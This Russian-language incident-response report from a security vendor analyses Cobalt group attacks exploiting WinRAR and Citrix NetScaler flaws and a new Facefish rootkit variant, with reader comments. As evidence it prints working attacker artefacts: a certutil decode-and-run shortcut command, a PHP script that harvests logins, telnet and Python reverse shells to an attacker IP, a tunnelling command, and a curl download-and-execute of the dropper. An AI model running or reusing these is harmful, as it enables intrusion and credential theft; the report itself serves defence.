Последние несколько лет специалисты нашего экспертного центра безопасности (PT Expert Security Center, PT ESC) регулярно фиксируют фишинговые рассылки вредоносных файлов, вложенных в архив, — их запуск приводит к загрузке модуля CobInt. Это ВПО — один из основных инструментов киберпреступной группы Cobalt (ее профайл можно посмотреть здесь). Ранее не фиксировалось использование этого модуля другими группировками. Вредоносные файлы применялись в атаках на российские компании из сфер энергетики, образования и телекоммуникаций — мы обнаружили это в ходе реагирования на инциденты ИБ в 2023 году. Предполагаем, что на территории России не менее 10 потенциальных жертв.

Мы следим за Cobalt с 2016 года. Ранее группа атаковала кредитно-финансовые организации с целью кражи денежных средств, а в последние несколько лет она сместила акцент на кибершпионаж. С 2020 года Cobalt не была замечена в громких кампаниях, но факты, описанные выше, подтверждают, что группа или некоторые из ее участников до сих пор активны, только используют они новые инструменты. Так, в арсенале группы появился руткит Facefish, который атакующие применяют для заражения хостов под управлением Linux. Для компрометации компаний Cobalt продолжает использовать актуальные уязвимости CVE-2023-38831 и CVE-2023-3519.

В статье мы кратко рассмотрим две цепочки атак с эксплуатацией этих уязвимостей, а также расскажем про новую модификацию Facefish.

Полный отчет с детальным разбором инцидентов, описанием техник и индикаторами компрометации читайте в нашем блоге.

Вектор № 1. Запрос от (Ex)Cobalt

В конце августа 2023 года мы заметили тренд на использование уязвимости CVE‑2023‑38831 в программном обеспечении WinRAR.

Рисунок 1. Число вредоносных архивов в августе-сентябре 2023 года
Рисунок 1. Число вредоносных архивов в августе-сентябре 2023 года

Из общего потока наблюдаемых файлов нас заинтересовал архив ucx_2314_4_2_ot_28_08_2023.rar, содержащий файл-приманку формата PDF и вредоносный исполняемый файл.

Рисунок 2. Содержимое архива
Рисунок 2. Содержимое архива

В файле-приманке на русском языке описана продукция китайской корпорации авиационной промышленности, поэтому последующую цепочку действий можно назвать целенаправленной атакой.

Рисунок 3. Содержимое файла-приманки
Рисунок 3. Содержимое файла-приманки

У архива измененная файловая структура. Когда жертва открывает PDF‑файл, запускается исполняемый PE-файл Zapros_2314_4_2_ot_28_08_2023.pdf .cmd. Он представляет собой установщик на платформе Nullsoft Scriptable Install System (NSIS) и инициирует следующий этап атаки.

Рисунок 4. Общая схема атаки
Рисунок 4. Общая схема атаки

Также мы обнаружили архив Zapros_13-2-16442-upr_ot_25_08_2023.zip c файловым ярлыком, который извлекает из себя и запускает аналогичный исполняемый файл. Команда lnk-файла:

/v /c set g="%cd%\Zapros_13-2-16442-upr_ot_25_08_2023.lnk"&(if not exist "!g!" (for /f "tokens=*" %u in ('where /r "%localappdata%" Zapros_13-2-16442-upr_ot_25_08_2023.l?k') do set g=%u))&>nul set n=t&set f=e&set o=%temp%&certu!n!il -decode "!g!" !o!\fahsdiksfaem.!f!xe&start /b !o!\fahsdiksfaem

Интересно:в именах файлов-приманок используется одинаковая маска Zapros*

NSIS-дроппер

NSIS-скрипт, выполняющий процесс установки, извлекает во временную папку следующие файлы:

  • файл-приманку (аналогичный PDF-файлу в архиве),

  • открытый PowerShell‑скрипт декодирования,

  • шифрованный PowerShell‑скрипт декодирования,

  • набор закодированных файлов (их предназначение описано далее)

и вызывает команды плагина — динамически подключаемой библиотеки nnujshaigu.dll (imphash:9ffedcca1b5171b3fb3e4430638971c1).

Рисунок 5. NSIS-скрипт
Рисунок 5. NSIS-скрипт

Сначала жертве демонстрируется ожидаемый PDF-файл (см. рис. 3). Затем исполняется PowerShell-скрипт yplseoefri.txt для декодирования кода из файла auspun.txt, который отвечает за получение ключа от управляющего сервера hxxps://wop[.]fsbkal[.]com/xseyyzpyy.txt и расшифровку второго скрипта декодирования алгоритмом AES в режиме CBC. Для образца, извлеченного из lnk-файла, ключ загружается с соседнего домена hxxps://zay[.]fsbkal[.]com/isicpjgki.txt.

Рисунок 6. Декодированный PowerShell-скрипт из файла auspun.txt
Рисунок 6. Декодированный PowerShell-скрипт из файла auspun.txt

На момент исследования файлы-ключи для загрузки с управляющих серверов не были доступны, и на этом «штатная» работа ВПО завершалась, так как следующие команды предполагают расшифровку файла gmzaofeioe.dat для декодирования им оставшихся файлов.

Зашифрованный файл имеет сопоставимый размер (26 КБ) с PowerShell‑скриптом декодирования на первом этапе, а оставшиеся файлы ampifkinn.txt, tygnfg.txt, yapaaiu.txt имеют схожий внешний вид отформатированного псевдослучайного текста. Поэтому мы предположили, что на обоих этапах используется одинаковый алгоритм, но разный словарь кодировки.

Рисунок 7. Пример закодированных файлов
Рисунок 7. Пример закодированных файлов

Алгоритм декодирования рассмотрен в полной версии отчета, там же мы рассказали про следующие этапы цепочки и полезную нагрузку.

Вектор № 2. The Green Mile

Осенью 2023 года нашу команду PT ESC Incident Response привлекли к реагированию на инцидент ИБ в российской компании из сферы энергетики. Мы установили, что в организации был скомпрометирован шлюз удаленного доступа к сети Citrix NetScaler Gateway версии 13.1.

Первоначальный доступ

Предполагаем, что злоумышленники получили доступ с помощью известной уязвимости CVE-2023-3519, опубликованной в июле 2023 года.

На момент анализа шлюза веб-журналы были ротированы, и подтвердить эксплуатацию уязвимости через связанные с ней GET-запросы не удалось. Тем не менее в неразмеченном пространстве файловой системы мы обнаружили характерные запросы /gwtest/formssso?event=start&target=, которые указывают на попытки эксплуатации уязвимости CVE-2023-3519.

Рисунок 8. Следы эксплуатации уязвимости в Citrix NetScaler Gateway
Рисунок 8. Следы эксплуатации уязвимости в Citrix NetScaler Gateway

Мы нашли ряд веб-шеллов в директории /var/netscaler/logon/. Записи появились в файловой системе 17.08.2023 и соответствовали логике шеллкода из опубликованного proof of concept от 01.08.2023.

При анализе сервера мы выявили простой веб-шелл с именем ctxHeaderLogon.php и ключом JohnCoffey2023!, позволяющий удаленно исполнять команды на шлюзе.

Рисунок 9. Содержимое веб-шелла
Рисунок 9. Содержимое веб-шелла

Также был обнаружен скрипт netscaler.php, который перехватывает входящие POST-запросы, а после записывает полученные из URL-адреса учетные записи в файл netscaler.1. Таким образом, злоумышленникам удалось похитить десятки учетных записей.

<?php
$date = date("d/m/y : H:i :");
$username= $_POST['u'];
$password= $_POST['p'];
#$password2= $_POST['p2'];
if ($username !="undefined"){
	$username = urldecode($username);
	$password = urldecode($password);
file_put_contents("netscaler.1","Username:".$username.PHP_EOL ,FILE_APPEND);
file_put_contents("netscaler.1","Password:".$password.PHP_EOL ,FILE_APPEND);
file_put_contents('netscaler.1', "Date:".$date.$data.PHP_EOL, FILE_APPEND);
#file_put_contents("netscaler.1", "PIN:".$password2.PHP_EOL ,FILE_APPEND);
file_put_contents("netscaler.1","------------------".PHP_EOL ,FILE_APPEND);
}
?>

Пример скомпрометированной учетной записи из файла netscaler.1:

Username: [REDACTED]

Password:QWerty2024

Date:11/09/23 : 05:59 :

Для управления хостом атакующие за достаточно короткий промежуток времени пробовали использовать разные способы, в том числе telnet (reverse shell) и reverse_shell.py.

sh -c '(sleep 4325|telnet 51.15.18.85 4102|while : ;

do sh && break;

done 2>&1|telnet 51.15.18.85 4102 >/dev/null 2>&1 &)'

Запуск reverse_shell.py:

Sep 25 13:53:22 [REDACTED] sh_command="python3 rev4204.py "

Sep 25 13:53:43 [REDACTED] sh_command="netstat -an | grep 51.15.18.85 "

Содержимое файла reverse_shell.py:

exec(__import__('zlib').decompress(__import__('base64').b64decode (__import__('codecs').getencoder('utf-8')
'eNo9UE1LxDAQPTe/IrckmA3t0i7LYgURDyIiuN4WkTaZ1dI0CUlWq+J/tyGLlxnemzdvPobJWR9xsHKEyL/ 
10PO+C7CpeYj+JCOPwwToaD2e8WCw78wb0KpkO1RE/7XEIrS5WeRE1/
yM948396/756fb6weWdEJaY0BGSklTiaoR1VZsG8LrdVmzpOg9dCMqYJbgYrJOs0XQAI42DOk2ryROxnVypOTqjvAgPMgPuhgcyhek2jPWDH2+ 
DxqwBkMVu9SLnbr4r64yzRDMIGm6WiiQdnIeQqD5AaLf1IlUkJT8hwSyC78M/QGFbV7K')[0])))
import socket,zlib,base64,struct,time for x in range(10): try: 
s=socket.socket(2,socket.SOCK_STREAM) 
s.connect(('51.15.18.85',4204)) break 
except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)

Также злоумышленники запускали утилиту для туннелирования трафика revsocks.

curl -O https://github.com/kost/revsocks/releases/download/v2.2/revsocks_freebsd_amd64 mv revsocks_freebsd_amd64 nsnetsvcs /netscaler/nsnetsvcs -connect 51.15.18.85:8844 -pass 123

Про Facefish

Кроме установленных веб-шеллов и программ туннелирования трафика, атакующие предприняли попытку загрузки с управляющего сервера eu‑debian[.]com и запуска Facefish-дроппера с именем ssh3600. Об этом рутките ранее сообщали исследователи из компаний Juniper и Qihoo 360 Netlab.

Sep 25 13:47:15 [REDACTED] sh_command="curl -O http://eu-debian.com/ssh3600 ; chmod +x ssh3600 ; ./ssh3600 ; rm -f ssh3600 "

Sep 25 13:47:38 [REDACTED] sh_command="curl -O http://eu-debian.com/ssh3600 ; chmod +x ssh3600 "

Образец является разделяемой библиотекой (shared object), которая работает в пользовательском режиме и внедряется в процесс SSHD через метод LD_PRELOAD. Его основное назначение — кража учетных данных SSH, а также удаленное управление зараженным хостом.

Рисунок 10. Адрес контрольного сервера
Рисунок 10. Адрес контрольного сервера

Мы неоднократно обнаруживали руткит Facefish в ходе расследований инцидентов ИБ. Помимо описанных ранее версий, нам удалось выявить новую модификацию:

1.     В ней есть перехват функции __getdelim, который, подменяя легитимный системный вызов с аналогичным именем, при чтении конфигурационного файла /etc/ssh/sshd_config добавляет в итоговый результат дополнительный порт, на котором сервис SSH принимает входящие подключения.

2.     Транспорт реализуется по протоколу HTTPS с использованием библиотеки BearSSL.

3.     В новой модификации перехватываются следующие SSH-функции:

  • user_key_allowed2;

  • sshpam_auth_passwd;

  • auth_shadow_pwexpired;

  • getpwnamallow;

  • login_write (новая функция, которая была добавлена);

  • read_passphrase;

  • ssh_userauth2;

  • key_perm_ok;

  • load_identity_file;

  • key_load_private_type (новая функция, которая была добавлена).

На рисунке представлена временная схема обнаружения образцов ВПО Facefish, которые использовали в атаках на российские компании.

 Рисунок 11. Хронология обнаружения образцов ВПО Facefish
 Рисунок 11. Хронология обнаружения образцов ВПО Facefish

 Разбор цепочки атаки с ним читайте в полном исследовании.

В нашем блоге есть и другие интересные отчеты о деятельности APT-групп, новых техниках атак и модификациях ВПО, актуальных киберугрозах и способах защиты.


 

 Александр Григорян, Максим Похлебин

PT Expert Security Center

Комментарии (3)


  1. select26
    16.11.2023 09:20

    руткит Facefish, который атакующие применяют для заражения хостов под управлением Linux.

    Ничего не понятно: пишите про заражение хостов под управлением Linux, а потом описываете запуск CMD и PowerShell инъекцию.
    Поясните пожалуйста, где ошибка?


    1. ptsecurity Автор
      16.11.2023 09:20

      Привет! Про компрометацию Linux-хостов мы рассказываем в разделе "Вектор № 2. The Green Mile", где атакующим удалось скомпрометировать Citrix NetScaler Gateway под управлением ос FreeBSD. Еще больше подробностей можно найти в нашем полном отчете.


  1. Marat-onlin
    16.11.2023 09:20

    До этой статьй я боялся только mp3 файлы на бесплатных сайтах с расширением exe )) А теперь буду всего бояться ))